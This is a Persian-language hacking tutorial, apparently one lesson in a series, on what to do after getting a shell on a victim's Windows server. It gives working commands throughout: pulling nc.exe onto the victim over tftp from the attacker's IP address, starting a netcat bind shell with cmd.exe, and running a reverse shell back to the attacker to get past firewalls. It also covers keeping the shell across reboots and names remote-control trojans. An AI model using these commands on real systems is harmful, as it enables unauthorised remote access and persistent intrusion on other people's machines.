- یادآوری
این مقاله ادامه مقاله قبلیه! در این
درس نیز ما با یک سرور ویندوز به صورت یک کامپیوتر منفرد سروکار داریم و توجهی به
کامپیوترهای متصل به اون در شبکهای که هست نداریم.
-
اولین کار بعد از بدستآوردن shell چیست؟
اولین کاری که بعد از
بدستآوردن shell ویندوز انجام میشه، بستگی به هکر و روش اون داره. من همیشه سعی
میکنم که یک تروجان یا backdoor در کامپیوتر قربانی نصب کنم و معمولا هم nc رو به
کار میبرم.
اگر توجه کنید میبینید که وقتی یه backdoor در کامپیوتر قربانی
ایجاد میکنیم، این backdoor هم یک shell در اختیار ما قرار میده، پس چه لزومی
وجود داره که وقتی shell داریم، یک shell جدید به کمک nc ایجاد کنیم؟
دلیلش سه
تاست:
۱- گاهی ما به یک shell در کامپیوتر قربانی دست پیدا میکنیم که
interactive یا تعاملی نیست. یه مثال میگم که بفهمید منظور از تعاملی بودن چیه!
اگه یادتون باشه در درس قبلی به کمک دستور cmd یک shell در کامپیوتر خودمون باز
کردیم. این shell یک شل تعاملی است. در این شل مثلا وقتی از دستور copy con استفاده
کردم، شل به من اجازه داد که بعد از زدن دکمه Enter بقیه کارها رو انجام بدم ( مثلا
متنی که قراره داخل فایل تایپ کنم رو بنویسم و فایل رو save کنم ). در حالیکه در
موارد غیرتعاملی، وقتی دستور copy con رو بنویسم،دیگه نمیتونم با shell تعامل
داشته باشم و کار رو ادامه بدم. وقتی شل غیرتعاملی است، هر کاری رو باید با یک
دستور یک سطری انجام بدم. اگه یادتون باشه در درس قبلی دستور echo رو گفتم که
خروجیشو به یک فایل منتقل میکردیم و در واقع باهاش فایل متنی میساختیم، در
شلهای غیرتعاملی این دستور قابل استفاده است زیرا بعد از اجرای دستور هیچ تعاملی
با ما ندارد! اونایی که مثلا با Unicode bug آشنا هستند، میدانند که shell ی که به
کمک اون بدست میاد، یک shell non-interactive یا شل غیرتعاملی است و بهتر است به شل
تعاملی تبدیل شود. وقتی ما مثلا nc را به سرور میفرستیم و اجرا میکنیم، میتونیم
با شل اون که یک شل تعاملی است راحتتر کار کنیم. کارهای ادامهدار فقط توسط یک
shell تعاملی قابل اجرا خواهد بود.
۲- وقتی ما یک shell روی کامپیوتر قربانی
بدست میآوریم معمولا این کار رو بدلیل exploit کردن یک حفرهامنیتی در سرور کسب
کردهایم. اگر روزی این مشکل امنیتی توسط مسوول اون کامپیوتر رفع بشه، ما شل رو از
دست خواهیم داد و در این مواقع، داشتن یک شل nc برگ برنده هکر خواهد بود.
۳-
بعضی تروجانها وقتی در کامپیوتر قربانی نصب بشوند، چیزی بیشتر از یک شل در اختیار
هکر میگذارند. مثلا ممکنه هکر بتونه به صورت remote دسکتاپ سرور قربانی رو ببینه و
کارهایی که میخواد رو طوری انجام بده که گویا به صورت local به کامپیوتر قربانی
دسترسی داره و جلوی مونیتور نشسته و ا داره کرمشو میریزه! به این قبیل
نرمافزارها، نرمافزارهای remote control میگن. معروفترین remote control ها
عبارتند از: PcAnyWhere ،VNC ،NetBus ،BO2K و...
-
چگونه trojan رو به کامپیوتر هدف ارسال کنم؟
من در این درس میخوام
nc رو به کامپیوتر قربانی بفرستم. برای اینکار راحتترین روش استفاده از برنامهای
به نام tftp است که بصورت پیشفرض در زیرشاخه System32 از شاخه %SyestemRoot% وجود
داره. همانطور که از اسم این نرمافزار بر میاد، کارش انتقال فایل از طریق شبکه
است. اما تفاوتهایی با اون ftp که قبلا باهاش کار کردیم، داره:
۱- برای استفاده
از اون بعد از دستیابی به شل ویندوز نیازی به username و password نیست.
۲-
کلاینت ftp حالت تعاملی دارد ولی tftp غیر تعاملی است. و با توجه به اینکه ما هنوز
nc رو منتقل و اجرا نکردیم، پس اگر شلی که بدست آوردیم غیرتعاملی باشه، نمیتوان از
ftp استفاده کرد.
حالا چطوری از tftp استفاده کنیم؟
اولین کار اینه که
شما باید یک سرور tftp روی کامپیوتر خودتون اجرا کنید. سرورهای مختلفی وجود داره
ولی معروفترین آنها، Tftpd32 است. برای داونلود اون میتونید به این
صفحه مراجعه کنید. جدیدترین ورژن این نرمافزار ورژن 2.6 است که میتونید با
کلیک روی این لینک
داونلود کنید. حالا فایل رو از حالت zip خارج کرده و روی فایل tftp32.exe
دابلکلیک میکنید تا پنجره نرمافزار باز بشه.
فرض
کنید که فایل nc.exe در فولدری به اسم far30 در درایو D قرار دارد. اول روی دکمه
Settings کلیک کرده و در پنجرهای که باز میشود، Base Directory رو به کمک دکمه
Browse روی فولدر far30 از درایو D تنظیم میکنیم و دکمه OK را کلیک میکنیم. حالا
در پنجره اصلی نرمافزار هم در قسمت Current Directory روی دکمه Browse کلیک کرده و
همون d:\far30 رو ست میکنیم. حالا کامپیوتر ما آماده ارائه فایل nc.exe است که در
فولدر far30 قرار دارد. مرحله بعدی اجرای دستور tftp در کامپیوتر قربانی است. فرض
کنید که ip ما در این لحظه 217.66.198.116 است. دستور رو به صورت زیر در Shell ی که
بدست آوردیم، اجرا میکنیم:
tftp -i 217.66.198.116 GET nc.exeو جواب میشنویم:
Transfer successful: 59392 bytes in 1 second, 59392 bytes/sدقت کنید که در دستور tftp سویچ i- یعنی اینکه انتقال به صورت باینری ( و نه اسکی ) باشد. ip ذکر شده، ip خودمان است و کلمه GET یعنی سرور ( که دستور tftp رو اجرا میکند) فایل رو بگیرد. اگه مینوشتیم، PUT معنی میداد که سرور قربانی، فایل را برای ما بفرستد. دقت کنید که برنامه tftpd32 رو روی کامپیوتر خودمان و برنامه tftp رو روی کامپیوتر قربانی اجرا کردیم. حالا که فایل nc.exe منتقل شد، میتونیم ازش استفاده کنیم.
nc -l -p 22 -e cmd.exeاین یعنی در پورت ۲۲ فالگوش بمونه و نیز cmd رو هم اجرا کنه که من یک shell بدست بیارم. حالا اگه ip کامپیوتر قربانی مثلا 63.148.112.65 باشه، در کامپیوتر خودم این دستور رو اجرا میکنم:
nc 63.148.112.65 22خوب اگه به شل رسیدم که حال میکنم!! ولی بعضی مواقع پیش میاد که علیرغم طی همه این موارد نمیتونم به شل جدید دست پیدا کنم که دلیلش هم معمولا اینه که اون سرور توسط فایروالی بلاک شده که اجازه نمیده با پورتی که مشخص کردم بهش کانکت بشم. در آخر مقاله بهتون میگم که در این مواقع چکار باید بکنید. نکته بعدی اینه که این شل تا زمانی فعال خواهد بود که کامپیوتر قربانی restart نشه. و چون کامپیوترهای سرور دیر به دیر restart میشوند، این شل برای مدت نسبتا طولانی در دسترس من خواهد بود. اگه بخواین هر بار که کامپیوتر restart میشه، دوباره شل ایجاد بشه، از روشهایی که در درس مربوط به پورت 139 گفتم، استفاده کنید.
nc -l -p 22و اگر ip ما 217.66.198.116 باشه، در کامپیوتر قربانی،اینو:
nc 217.66.198.116 22 -e cmd.exeحالا اون به ما کانکت میشه و معمولا فایروال کاری به کارش نداره! دقت کنید همیشه اول دستوری رو اجرا میکنیم که نقش سرور رو داره یعنی اونی که دارای سویچ l- است. چه active باشه و چه passive، فرقی نداره. حالا ما یک interactive shell داریم که خیلی بدرد میخوره.